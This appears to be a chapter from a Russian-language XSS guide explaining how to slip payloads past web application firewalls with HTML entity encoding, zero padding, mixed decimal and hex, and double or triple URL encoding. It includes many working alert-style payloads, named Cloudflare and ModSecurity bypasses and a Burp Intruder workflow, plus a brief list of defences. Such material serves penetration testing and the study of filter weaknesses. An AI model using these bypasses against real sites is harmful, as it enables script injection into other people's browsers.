Книга: «Все об уязвимости XSS». Глава 6: Обход фильтров - WAF это не стена, а приглашение 🚪• HTML entity encoding и двойное кодирование

Кодирование - это твой универсальный ключ для превращения "опасного" payload'а в "безобидную" строку, которую WAF пропустит, а браузер всё равно выполнит. Фильтры видят символы, браузер понимает смысл. И между этим восприятием -огромная пропасть, в которую ты можешь засунуть весь свой арсенал XSS. Давай разберём две фундаментальные техники обхода: HTML Entity Encoding и Double Encoding - инструменты, без которых ни один серьёзный охотник за XSS не обходится.

HTML Entity Encoding - говори на языке браузера

HTML Entity Encoding - это официальный способ представления специальных символов в HTML через их числовые или именованные коды. Это не хак, не уязвимость - это стандарт. И именно поэтому он так хорошо работает для обхода фильтров.

Три формата — одна цель

Named entities (именованные):

&lt;    <!-- < -->
&gt; <!-- > -->
&quot; <!-- " -
->&apos; <!--
39; -->&amp; <!-- & -->

Decimal entities (десятичные):

&#60;   <!-- < -->
&#62; <!-- > -->
&#97; <!-- a -->
&#34; <!-- " -->

Hexadecimal entities (шестнадцатеричные):

&#x3C;  <!-- < -->
&#x3E; <!-- > -->
&#x61; <!-- a -->
&#x22; <!-- " -->

Браузер обязан декодировать все три формата по спецификации HTML Living Standard. WAF - нет. Вот и весь трюк .

Где работают HTML entities - контекст решает всё

Критически важно понимать: HTML entities декодируются только HTML-парсером, не JavaScript-движком.

Работает в:

  • Теле HTML-документа (между тегами)
  • Значениях HTML-атрибутов

НЕ работает в:

  • Внутри тега <script> (чистый JavaScript-код)
  • Внутри тега <style> (CSS-код)
  • В JSON или других не-HTML контекстах

Пример правильного использования:

<!-- HTML Context - работает -->
<div>&#60;script&#62;alert(1)&#60;/script&#62;</div>
<!-- Attribute Context - работает -->
<img src=x onerror="&#97;lert(1)
"><!-- JavaScript Context - НЕ работ
ает --><
script> var x = "&#97;"; // Это строка
"&#97;", не "a"</script>

Почему в атрибуте работает? Потому что HTML-парсер сначала декодирует значение атрибута onerror="&#97;lert(1)" в onerror="alert(1)", и только потом передаёт эту строку JavaScript-движку для выполнения.

Практические техники обхода

Техника 1: Partial Encoding

Не нужно кодировать весь payload целиком. Кодируй только те символы, которые триггерят фильтр.

WAF блокирует слово "alert":

<!-- Полностью - работает, но громоздко -->
<img src=x onerror="&#97;&#108;&#101;&#114;&#116;(1)
"><!-- Частично - элеган
тно --><img src=x onerror="&#
97;lert(1)"><img src=x onerror=&qu
ot;al&#101;rt(1)"><img src=x onerror="ale&#114;t(1)">

Для WAF, ищущего строку "alert", это три разных строки. Для браузера - одна и та же функция.

Техника 2: Zero Padding

HTML-парсер игнорирует ведущие нули в числовых сущностях. WAF обычно не учитывает этого.

<!-- Стандартная форма -->
&#60;
<!-- С нулями спереди -->
&#0060;
&#00060;
&#000060;
&#0000000000060;

Все эти варианты браузер декодирует в <. Но для примитивного словаря WAF это совершенно разные строки.

Payload:

<a href="&#0000106;&#0000097;&#0000118;&#0000097;&#0000115;&#0000099;&#0000114;&#0000105;&#0000112;&#0000116;:alert(1)">

Это javascript:alert(1), но с padding нулями в каждой букве.

Техника 3: Mixed Encoding

Комбинируй decimal и hexadecimal форматы в одном payload'е.

<img src=x onerror="&#97;l&#x65;rt(&#x31;)">

Здесь:

  • &#97; = a (decimal)
  • &#x65; = e (hex)
  • &#x31; = 1 (hex)

Результат: alert(1). Для regex-based фильтров это мусор.

Техника 4: Encoding критичных символов

Кодируй скобки, кавычки, двоеточия - всё, что обычно триггерит WAF.

WAF блокирует javascript: схему:

<a href="javascript&#58;alert(1)">Click
</a><a href="javascript&#x3A;alert(1)"
;>Click</a><iframe src="java&#115;cript&#58;alert(1)">

&#58; и &#x3A; — это двоеточие :.

WAF блокирует скобки в вызовах функций:

<svg onload=alert&#40;1&#41;>
<img src=x onerror=prompt&#x28;1&#x29;>

&#40; = (, &#41; = ), &#x28; = (, &#x29; = ).

Техника 5: Attribute Context Abuse

В значениях атрибутов HTML entities декодируются до передачи в JavaScript:

<div onclick="eval('&#97;lert(1)')">Click</div>

Порядок обработки:

  1. HTML-парсер видит атрибут onclick="eval('&#97;lert(1)')"
  2. Декодирует HTML entities: onclick="eval('alert(1)')"
  3. Передаёт строку eval('alert(1)') JavaScript-движку
  4. JS выполняет код

Кейсы из реальной жизни

Кейс 1: Обход фильтра тегов

Цель использовала strip_tags() в PHP, но разрешала некоторые теги для форматирования. Фильтр также блокировал прямые упоминания <script>.

Payload:

<b title="&#60;script&#62;alert(1)&#60;/script&#62;">Bold text</b>

Тег <b> разрешён. Атрибут title отображался в админке без повторного экранирования. HTML entities декодировались, и админ видел всплывающее окно.

Кейс 2: Обход ModSecurity

ModSecurity блокировал payload с явными вызовами функций. Правило искало паттерн alert(.

Bypass:

<img src=x onerror=alert&#x28;document.domain&#x29;>

Скобки закодированы - правило не срабатывает. Браузер декодирует и выполняет.

Double Encoding - обман на два фронта

Double Encoding (двойное кодирование) эксплуатирует разницу в количестве раз, которое декодируются данные на разных уровнях обработки: WAF → Web Server → Application → Browser.

Механика двойного кодирования

URL-encoding базис:

  • < = %3C
  • > = %3E
  • % = %25

Двойное URL-encoding:

  • < = %3C%253C (закодировали символ %)
  • > = %3E%253E

Как это работает:

  1. Атакующий отправляет: %253Cscript%253E
  2. WAF декодирует один раз: %3Cscript%3E (видит просто строку с процентами, не теги)
  3. WAF пропускает запрос
  4. Web-сервер (Apache/Nginx) декодирует второй раз: <script>
  5. Приложение вставляет в HTML: <script>alert(1)</script>
  6. Браузер выполняет

Сценарии применения

Сценарий 1: Многоуровневая архитектура

В enterprise-приложениях запрос проходит через:

  • CDN (Cloudflare, Akamai)
  • Load Balancer
  • WAF (ModSecurity, Imperva)
  • Reverse Proxy (Nginx)
  • Application Server (Apache, IIS)
  • Backend (PHP, Java, Node.js)

Каждый уровень может декодировать URL. Если WAF декодирует один раз, а приложение - дважды, ты в деле.

Практический пример:

Original: <script>alert(1)</script>
Single: %3Cscript%3Ealert(1)%3C%2Fscript%3E
Double: %253Cscript%253Ealert(1)%253C%252Fscript%253E
Triple: %25253Cscript%25253Ealert(1)%25253C%25252Fscript%25253E

Тестируй все уровни в Burp Repeater.

Сценарий 2: Parameter Pollution с декодированием

Некоторые фреймворки декодируют параметры несколько раз при конфликте имён.

?param=%253Cscript%253E&param=%3Cimg%3E

Первый параметр декодируется дважды, второй - один раз.

Сценарий 3: HTML Entity Double Encoding

Редко, но встречается: санитайзер декодирует HTML entities для проверки, но делает это криво.

<!-- Оригинал -->
<script>
<!-- Закодировано в HTML entities -->
&#60;script&#62;
<!-- Закодировано двойное (entities для амперсанда) -->
&amp;#60;script&amp;#62;

Процесс:

  1. Санитайзер видит &amp;#60;script&amp;#62;
  2. Декодирует один раз: &#60;script&#62; (видит "безопасный текст")
  3. Пропускает
  4. Браузер декодирует повторно: <script> (выполняет)

Комбинированные техники

HTML + URL Double Encoding:

<a href="java%2573cript%253aalert(1)">Click</a>

Разбор:

  • %25 = % (double encoding)
  • После первой декодировки: java%73cript%3aalert(1)
  • После второй: javascript:alert(1)

Triple Encoding для параноидальных WAF:

Original: <
Single: %3C
Double: %253C
Triple: %25253C

Автоматизация в Burp Suite

Intruder Payload Processing:

  1. Positions: выдели параметр §test§
  2. Payloads: загрузи базовые XSS payloads
  3. Payload Processing → Add:
    1. Rule: URL-encode key characters (first encoding)
    2. Rule: URL-encode all characters (second encoding)
  4. Start attack

Пример workflow:

Base payload: <script>alert(1)</script>

Processing chain:

  1. URL-encode key chars: %3Cscript%3Ealert(1)%3C/script%3E
  2. URL-encode all: %253Cscript%253Ealert(1)%253C%252Fscript%253E

Отправь оба варианта и сравни результаты.

Практические кейсы комбинирования

Кейс: Cloudflare WAF Bypass

Cloudflare имеет сигнатуры для HTML entities, но не всегда учитывает padding и mixed encoding.

Blocked:

<svg onload=alert(1)>

Bypassed:

<svg/onload=&#97;&#x6C;&#000101;&#x72;&#116;&#x28;&#49;&#x29;>

Комбо:

  • Mixed decimal/hex
  • Zero padding в некоторых местах
  • Слэш вместо пробела между тегом и атрибутом

Кейс: ModSecurity + Double URL Encoding

ModSecurity блокировал все вариации <script>, даже закодированные.

Testing:

%3Cscript%3E → Blocked
%253Cscript%253E → Blocked
%25253Cscript%25253E → Passed!

Оказалось, что reverse proxy дважды декодировал URL, а ModSecurity проверял только после первого декодирования.

Кейс: Mixed Context Confusion

Приложение вставляло пользовательский ввод в несколько контекстов:

<!-- HTML Context -->
<div>USER_INPUT</div>
<!-- Attribute Context -->
<input value="USER_INPUT
"><!-- JS Cont
ext --><script>var x = 'USER_INPUT';</script>

Payload с HTML entities работал только в первых двух, но не в третьем. Решение:

&#60;/div&#62;&#60;script&#62;alert(1)&#60;/script&#62;

Закрываем div в HTML-контексте, открываем script. Entities декодируются в HTML, создавая валидный тег.

Защита vs Обход

Для защитников:

  • Контекстное экранирование: Разное для HTML/JS/URL/CSS
  • Канонизация: Декодируй все форматы ДО проверки
  • Whitelist подход: Разрешай только известные безопасные символы
  • CSP: Content-Security-Policy как последний рубеж

Для атакующих:

  • Тестируй все уровни кодирования (1x, 2x, 3x)
  • Комбинируй форматы (decimal, hex, named)
  • Используй zero padding и mixed encoding
  • Автоматизируй через Burp Payload Processing
  • Документируй, что работает на конкретных WAF

Заключение

HTML Entity Encoding и Double Encoding - это не просто техники обхода. Это фундаментальное понимание того, как разные уровни веб-стека обрабатывают данные. WAF видит байты, сервер видит строки, приложение видит параметры, браузер видит смысл. И между каждым уровнем - возможность для трансформации. Твоя задача - найти такое представление payload'а, которое на входе выглядит безобидно, но на выходе убивает. Экспериментируй с комбинациями, автоматизируй тестирование, изучай спецификации, и помни: каждый символ может быть закодирован десятками способов. Твоя задача -найти тот, который пропустит WAF, но выполнит браузер. В следующем разделе мы углубимся в специфические bypass-техники для конкретных WAF-решений, где эти знания превратятся в реальные эксплойты на production-системах.

51 views·2 shares